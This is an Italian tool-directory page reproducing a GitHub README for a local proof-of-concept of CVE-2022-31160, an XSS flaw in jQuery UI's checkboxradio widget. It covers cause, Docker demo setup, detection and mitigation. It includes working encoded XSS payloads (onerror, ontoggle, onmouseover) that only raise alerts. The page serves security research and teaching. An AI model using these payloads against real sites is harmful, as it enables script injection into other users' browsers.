Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
jquery-cve-2022-31160 — jquery XSS Proof of Concept (PoC) | Kitploit
Strumenti/GitHubGitHub/cyberone-teamares/jquery-cve-2022-31160
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebCTFApprendimento e Formazione
GitHubcyberone-teamares/jquery-cve-2022-31160

jquery-cve-2022-31160

jquery XSS Proof of Concept (PoC)

Vedi Repository
21 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Dimostrazione della vulnerabilità CVE-2022-31160 in jQuery UI

Security Badge jQuery UI CVE Docker

Questo progetto dimostra la vulnerabilità del widget Checkboxradio di jQuery UI (CVE-2022-31160), che consente la decodifica di entità HTML durante le operazioni di refresh del widget, portando potenzialmente ad attacchi Cross-Site Scripting (XSS).

🚨 Avviso di sicurezza

⚠️ Questo progetto contiene payload XSS funzionanti esclusivamente per scopi educativi e di ricerca.

  • Non usarlo su sistemi in produzione
  • Utilizzarlo solo in ambienti controllati
  • Destinato alla ricerca sulla sicurezza e alla formazione

📋 Indice

  • Panoramica della vulnerabilità
  • Avvio rapido
  • Struttura del progetto
  • Dimostrazioni
  • Dettagli tecnici
  • Uso di Docker
  • Analisi di sicurezza
  • Mitigazione
  • Contributi
  • 🔍 Panoramica della vulnerabilità

    Dettagli CVE-2022-31160

    • Componente: Widget Checkboxradio di jQuery UI
    • Versioni affette: jQuery UI ≤ 1.13.1
    • Tipo di vulnerabilità: Cross-Site Scripting (XSS) tramite decodifica di entità HTML
    • Punteggio CVSS: 6.1 (Medio)
    • Prima pubblicazione: 20 luglio 2022

    Causa principale

    Quando un widget checkboxradio viene inizializzato su un input racchiuso in un'etichetta (label), chiamare .checkboxradio("refresh") sul widget provoca la decodifica erronea delle entità HTML presenti nel contenuto dell'etichetta. Questo può convertire contenuti dannosi codificati in modo sicuro in JavaScript eseguibile.

    Vettore d'attacco

    root@kitploit:~
    <!-- Contenuto sicuro codificato -->
    <label for="checkbox">
      Testo &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
      <input type="checkbox" id="checkbox">
    </label>
    
    <!-- Dopo .checkboxradio("refresh") -->
    <label for="checkbox">
      Testo 
      <input type="checkbox" id="checkbox">
    </label>
    

    🚀 Avvio rapido

    Prerequisiti

    • Docker installato sul sistema
    • Browser web con strumenti per sviluppatori
    • Conoscenze di base dei concetti di sicurezza web

    Costruire ed eseguire

    root@kitploit:~
    # Clonare o spostarsi nella directory del progetto
    cd jquery-cve-2022-31160
    
    # Costruire l'immagine Docker
    docker build -t jquery-cve-2022-31160 .
    
    # Avviare il container
    docker run -p 3000:3000 jquery-cve-2022-31160
    

    Accedere alle dimostrazioni

    Una volta che il container è in esecuzione, accedere a:

    • Demo sondaggio semplificato: http://localhost:3000/survey
    • URL sondaggio alternativo: http://localhost:3000/simplified-survey

    📁 Struttura del progetto

    root@kitploit:~
    jquery-cve-2022-31160/
    ├── README.md                    # Questa documentazione
    ├── Dockerfile                   # Configurazione del container Docker
    ├── package.json                 # Dipendenze Node.js
    ├── server.js                    # Server Express.js
    └── simplified-survey.html       # Dimostrazione stile sondaggio
    

    🎯 Dimostrazioni

    1. Demo sondaggio semplificato (simplified-survey.html)

    URL: http://localhost:3000/survey

    • Interfaccia stile sondaggio
    • Molteplici scenari di vulnerabilità
    • Feedback visivo migliorato

    Caratteristiche:

    • 4 diverse opzioni di checkbox che dimostrano vari scenari:
      • Opzione sicura: Nessuna entità codificata (gruppo di controllo)
      • XSS per sicurezza di rete: &lt;img src=x onerror=&quot;...&quot;&gt; - Esecuzione immediata
      • XSS per sicurezza mobile: &lt;details ontoggle=&quot;...&quot; open&gt; - Esecuzione immediata
      • XSS per sicurezza cloud: &lt;span onmouseover=&quot;...&quot;&gt; - Esecuzione interattiva

    Strumenti di analisi:

    • Log dettagliati nella console
    • Avvisi di esecuzione XSS
    • Tracciamento passo-passo della vulnerabilità

    🔧 Dettagli tecnici

    Meccanismo della vulnerabilità

    1. Inizializzazione del widget: jQuery UI crea il widget checkboxradio
    2. Memorizzazione delle entità HTML: Il contenuto dell'etichetta con entità codificate viene elaborato
    3. Attivazione del refresh: Viene chiamato .checkboxradio("refresh")
    4. Decodifica delle entità: jQuery UI decodifica erroneamente le entità HTML
    5. Esecuzione XSS: Il contenuto dannoso decodificato diventa eseguibile

    Percorso di codice affetto

    root@kitploit:~
    // Operazione vulnerabile
    $('#checkbox-vulnerabile').checkboxradio();
    $('#checkbox-vulnerabile').checkboxradio("refresh"); // Attiva la vulnerabilità
    

    Payload di test

    Le dimostrazioni includono vari payload per testare diversi metodi di esecuzione XSS:

    root@kitploit:~
    <!-- Sicurezza di rete: XSS tramite evento errore (esecuzione immediata) -->
    &lt;img src=x onerror=&quot;console.log('XSS tramite refresh widget!'); alert('XSS eseguito tramite refresh widget!');&quot;&gt;
    
    <!-- Sicurezza mobile: XSS tramite toggle dettagli (esecuzione immediata) -->
    &lt;details ontoggle=&quot;alert('XSS per sicurezza mobile eseguito!'); console.log('XSS mobile tramite ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;
    
    <!-- Sicurezza cloud: XSS interattivo (richiede interazione utente) -->
    &lt;span onmouseover=&quot;alert('XSS al passaggio del mouse eseguito!'); console.log('XSS per sicurezza cloud tramite mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Passa il mouse per attivare]&lt;/span&gt;
    

    Metodi di esecuzione XSS

    1. Gestore di eventi di errore (onerror)

    • Attivazione: Immediata quando l'elemento viene inserito nel DOM
    • Affidabilità: Molto alta (fallisce sempre con src=x)
    • Caso d'uso: Mostra l'esecuzione XSS immediata
    • Rischio reale: Alto - aggira comunemente i filtri di input

    2. Gestore di eventi toggle dettagli (ontoggle)

    • Attivazione: Quando lo stato di apertura/chiusura dell'elemento details cambia
    • Affidabilità: Molto alta (attivazione garantita con l'attributo open)
    • Caso d'uso: Esecuzione immediata all'inserimento nel DOM
    • Rischio reale: Alto - esecuzione cross-browser affidabile

    3. Gestore di eventi mouse (onmouseover)

    • Attivazione: Richiede interazione dell'utente (passaggio del mouse)
    • Affidabilità: Alta quando l'utente interagisce
    • Caso d'uso: Scenari di ingegneria sociale
    • Rischio reale: Medio - richiede coinvolgimento dell'utente

    Perché questi payload funzionano

    Vantaggi dei gestori di eventi:

    • Eseguono quando l'elemento viene inserito tramite innerHTML
    • Aggirano le restrizioni del tag <script>
    • Funzionano in modo coerente su diversi browser
    • Non richiedono risorse esterne da caricare
    • Attivatori basati sullo stato (come ontoggle) sono molto affidabili

    Bypass della codifica:

    • Le entità HTML (&lt;, &quot;) vengono decodificate dal refresh di jQuery UI
    • Trasforma contenuti codificati sicuri in codice eseguibile
    • Dimostra un bypass della sanitizzazione reale
    • Molteplici vettori di esecuzione mostrano la diversità della superficie d'attacco

    🐳 Uso di Docker

    Costruire l'immagine

    root@kitploit:~
    docker build -t jquery-cve-2022-31160 .
    

    Eseguire il container

    root@kitploit:~
    # Eseguire sulla porta predefinita 3000
    docker run -p 3000:3000 jquery-cve-2022-31160
    
    # Eseguire su una porta personalizzata
    docker run -p 8080:3000 jquery-cve-2022-31160
    
    # Eseguire in background
    docker run -d -p 3000:3000 jquery-cve-2022-31160
    
    # Eseguire con un nome personalizzato
    docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
    

    Gestione del container

    root@kitploit:~
    # Elencare i container in esecuzione
    docker ps
    
    # Fermare il container
    docker stop jquery-cve-2022-31160
    
    # Rimuovere il container
    docker rm jquery-cve-2022-31160
    
    # Rimuovere l'immagine
    docker rmi jquery-cve-2022-31160
    

    🔬 Analisi di sicurezza

    Valutazione dell'impatto

    • Gravità: Media (CVSS 6.1)
    • Complessità dell'attacco: Bassa
    • Interazione utente: Richiesta (interazione con la pagina)
    • Ambito: Invariato (stessa origine)
    • Riservatezza: Impatto basso
    • Integrità: Impatto basso
    • Disponibilità: Nessuno

    Scenari reali

    Questa vulnerabilità può essere sfruttata in applicazioni che:

    1. Utilizzano widget checkboxradio di jQuery UI
    2. Consentono contenuti generati dagli utenti nelle etichette
    3. Sanificano i contenuti usando la codifica delle entità HTML
    4. Aggiornano i widget a livello di programmazione

    Metodi di rilevamento

    • Analisi statica: Cerca chiamate a .checkboxradio("refresh")
    • Analisi dinamica: Monitora le modifiche al contenuto HTML durante le operazioni del widget
    • Scansione automatica: Utilizza strumenti in grado di rilevare XSS basato su DOM
    • Test manuali: Testa il refresh del widget con payload codificati

    🛡️ Mitigazione

    Azioni immediate

    1. Aggiornare jQuery UI: Eseguire l'upgrade alla versione 1.13.2 o successiva
    2. Validazione dell'input: Implementare una corretta validazione lato server
    3. Content Security Policy: Distribuire intestazioni CSP restrittive
    4. Codifica dell'output: Utilizzare una codifica dell'output appropriata al contesto

    Correzioni nel codice

    root@kitploit:~
    // Prima del refresh, sanificare o validare il contenuto
    function safeRefresh(element) {
        // Validare il contenuto dell'etichetta prima del refresh
        const label = $(`label[for="${element.attr('id')}"]`);
        const content = label.html();
        
        // Verificare la presenza di contenuti potenzialmente pericolosi
        if (content.includes('<') || content.includes('javascript:')) {
            console.warn('Rilevato contenuto potenzialmente pericoloso');
            return;
        }
        
        element.checkboxradio("refresh");
    }
    

    Intestazioni di sicurezza

    root@kitploit:~
    // Intestazioni di sicurezza per Express.js
    app.use((req, res, next) => {
        res.setHeader('X-Content-Type-Options', 'nosniff');
        res.setHeader('X-Frame-Options', 'DENY');
        res.setHeader('X-XSS-Protection', '1; mode=block');
        res.setHeader('Content-Security-Policy', "default-src 'self'");
        next();
    });
    

    📚 Valore educativo

    Questo progetto funge da risorsa educativa per:

    • Ricercatori di sicurezza: Comprendere le vulnerabilità di manipolazione del DOM
    • Sviluppatori web: Imparare le considerazioni sulla sicurezza di jQuery UI
    • Penetration tester: Tecniche pratiche di sfruttamento XSS
    • Studenti di sicurezza: Analisi pratica delle vulnerabilità

    🔗 Riferimenti

    • Voce ufficiale CVE-2022-31160
    • Avviso di sicurezza di jQuery UI
    • OWASP XSS Prevention Cheat Sheet
    • CWE-79: Cross-site Scripting

    📈 Checklist di test

    Quando si utilizza questa dimostrazione:

    Configurazione pre-test:

    • Verificare la versione di jQuery UI (dovrebbe essere 1.13.0)
    • Testare con gli strumenti per sviluppatori aperti (F12)
    • Accedere al sondaggio su http://localhost:3000/survey
    • Controllare la console per i messaggi di inizializzazione

    Test della vulnerabilità:

    • Cliccare sul pulsante "🔄 Refresh Widgets"
    • Opzione per sicurezza di rete: Verificare l'esecuzione immediata dell'avviso
    • Opzione per sicurezza mobile: Verificare l'esecuzione immediata dell'avviso
    • Opzione per sicurezza cloud: Passare il mouse sul testo "[Passa il mouse per attivare]"
    • Controllare la console per i log dettagliati della vulnerabilità

    Verifica dell'analisi:

    • Validare l'esecuzione del payload XSS (3 tipi differenti)
    • Testare la funzionalità di reset del widget
    • Verificare che il feedback visivo delle checkbox funzioni correttamente

    🤝 Contributi

    I contributi sono benvenuti! Si prega di:

    1. Fare il fork del repository
    2. Creare un branch per la funzionalità
    3. Apportare le modifiche
    4. Aggiungere la documentazione appropriata
    5. Inviare una pull request

    Aree di miglioramento

    • Esempi aggiuntivi di payload
    • Strumenti di analisi più dettagliati
    • Dimostrazioni visive avanzate

    ⚖️ Disclaimer legale

    Questo software è fornito esclusivamente per scopi educativi e di ricerca. Gli autori e i collaboratori:

    • Non sono responsabili per qualsiasi uso improprio di questo software
    • Non incoraggiano né giustificano attività malevole
    • Raccomandano l'uso solo in ambienti di test autorizzati
    • Consigliano di seguire le pratiche di divulgazione responsabile

    📄 Licenza

    Questo progetto è fornito sotto la licenza MIT per scopi educativi.


    Creato per la ricerca e la formazione sulla sicurezza | Utilizzare con responsabilità | Segnalare vulnerabilità attraverso i canali appropriati

    Scarica lo strumento